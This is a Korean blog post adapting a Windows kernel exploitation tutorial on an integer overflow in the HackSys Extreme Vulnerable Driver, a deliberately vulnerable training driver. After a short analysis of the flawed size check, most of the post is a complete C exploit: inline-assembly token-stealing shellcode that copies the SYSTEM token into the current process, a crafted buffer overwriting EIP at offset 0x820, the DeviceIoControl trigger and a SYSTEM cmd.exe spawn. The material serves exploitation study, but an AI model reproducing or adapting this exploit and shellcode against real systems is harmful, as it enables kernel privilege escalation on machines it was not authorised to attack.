[Kernel Exploitation] Integer Overflow



출처: https://www.fuzzysecurity.com/tutorials.html


본 포스팅은 fuzzysecurity Tutorials part 14 -> Integer Overflow를 분석 및 의역하여 작성하였습니다. 

Sample Windows Driver code에 존재하는 취약점을 학습하는 데 그 목적이 있습니다.



Step 1. 취약점 분석

TriggerIntegerOverflow code를 살펴보면 SECURE한 경우와 else의 경우 전부 Size를 이용하는 필터링이 되어있습니다.

 

그런데 else 부분에서 Size + TerminatorSize가 KernelBuffer의 크기보다 클 경우 함수는 정상 종료됩니다.

 

Size의 자료형은 4bytes인 unsigned int형입니다. Size에 0xffffffff를 넣는다면 그 값은 unsigned int의 최대값이겠지만 이 수에 TerminatorSize를 더한다면 4bytes를 넘어가게 됩니다.

 

하지만 4bytes만 표현해야 하므로 넘어간 숫자 data까지 표현을 못하므로 실제 Size의 값은 굉장히 큰수지만 TerminatorSize를 더한 값은 KernelBuffer의 크기보다 작을 수 있습니다. 그리고 Size만큼 KernelBuffer에 덮어쓴다면 StackOverflow가 일어날 수 있습니다.

NTSTATUS TriggerIntegerOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
	ULONG Count = 0;
	NTSTATUS Status = STATUS_SUCCESS;
	ULONG BufferTerminator = 0xBAD0B0B0;
	ULONG KernelBuffer[BUFFER_SIZE] = { 0 };
	SIZE_T TerminatorSize = sizeof(BufferTerminator);

	PAGED_CODE();

	__try {
		ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));

		DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
		DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
		DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
		DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));

#ifdef SECURE
		if (Size > (sizeof(KernelBuffer) - TerminatorSize)) {
			DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);

			Status = STATUS_INVALID_BUFFER_SIZE;
			return Status;
		}
#else
		DbgPrint("[+] Triggering Integer Overflow\n");
		if ((Size + TerminatorSize) > sizeof(KernelBuffer)) {

			// Integer Overflow
			DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);

			Status = STATUS_INVALID_BUFFER_SIZE;
			return Status;
		}
#endif


		while (Count < (Size / sizeof(ULONG))) {
			if (*(PULONG)UserBuffer != BufferTerminator) {
				KernelBuffer[Count] = *(PULONG)UserBuffer;
				UserBuffer = (PULONG)UserBuffer + 1;
				Count++;
			}

			// Size값에서 4를 나눈 값만큼 KernelBuffer에 계속 data를 삽입 Stack Overflow
			else {
				break;
			}
		}
	}
	__except (EXCEPTION_EXECUTE_HANDLER) {
		Status = GetExceptionCode();
		DbgPrint("[-] Exception Code: 0x%X\n", Status);
	}

	return Status;
}

 

사용자가 보낸 Size의 필터링 루틴입니다. eax에 Size값이 들어있고 esi는 위에서 0x800으로 초기화됩니다.

 

 

 

MagicValue와 비교하며 buffer에 계속 복사를 하는 루틴입니다. 입력한 Userbuffer size에 대한 필터링 없이 전부 data가 Kernelbuffer로 담기기 때문에 Integeroverflow 취약점으로 필터링만 우회한다면 StackOverflow로 EIP를 덮을 수 있습니다.

 

 

 

Step 2. Exploit

EIP를 덮을 때 까지의 offset을 구해보면 0x820 입니다. 그리고 EIP를 덮고난 뒤 복사를 멈춰야 하므로 EIP 뒤에 바로 MagicValue(0xBAD0B0B0)을 넣어줍니다.

#include <stdio.h>
#include <Windows.h>
#include <WinIoCtl.h>
#include <TlHelp32.h>
#include <conio.h>
#define HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, METHOD_NEITHER, FILE_ANY_ACCESS)
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
typedef NTSTATUS(WINAPI *PNtMapUserPhysicalPages)(PLONG BaseAddress,
	SIZE_T NumberOfPages,
	PULONG PageFrameNumbers);
VOID TokenShellcode() {
	__asm {
		pushad; Save registers state

		; Start of Token Stealing Stub
		xor eax, eax; Set ZERO
		mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
		; _KTHREAD is located at FS : [0x124]

		mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process

		mov ecx, eax; Copy current process _EPROCESS structure

		mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4

		SearchSystemPID:
		mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
			sub eax, FLINK_OFFSET
			cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
			jne SearchSystemPID

			mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
			mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
			; with SYSTEM process nt!_EPROCESS.Token
			; End of Token Stealing Stub

			popad; Restore registers state

			xor eax, eax
			add esp, 12
			pop ebp
			ret 8
	}
}
int main(int argc, CHAR* argv[])
{
	DWORD lpBytesReturned;
	LPCSTR lpDevicename = (LPCSTR)"\\\\.\\HackSysExtremeVulnerableDriver";
	PUCHAR lpInBuffer = NULL;
	LONG magicvalue = 0xBAD0B0B0;
	HMODULE hNtdll = GetModuleHandle("ntdll.dll");
	PULONG Stackbuffer = NULL;
	SIZE_T Buffersize = 0x830;

	HANDLE hDriver = CreateFile(lpDevicename,
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
		NULL);
	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("[!] Fail to get device handle: 0x%x\n", GetLastError());
	}
	printf("[] hDriver: 0x%x\n", hDriver);
	Stackbuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Buffersize);
	if (!Stackbuffer) {
		printf("[!] HeapAlloc error\n");
		return 0;
	}
	printf("[] Allcoate memory: 0x%x\n", Stackbuffer);
	memset(Stackbuffer, 0x41, Buffersize);
	*(PULONG)((PUCHAR)Stackbuffer + Buffersize - 8) = (ULONG)&TokenShellcode;
	*(PULONG)((PUCHAR)Stackbuffer + Buffersize - 4) = (ULONG)0xBAD0B0B0;


	DeviceIoControl(hDriver,
		HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW,
		(LPVOID)Stackbuffer,
		0xffffffff,
		NULL,
		0,
		&lpBytesReturned,
		NULL);
	printf("length: 0x%x\n", strlen((const char *)Stackbuffer));
	system("cmd.exe");

	CloseHandle(hDriver);

	return 0;
}

  

이 글을 공유하기

댓글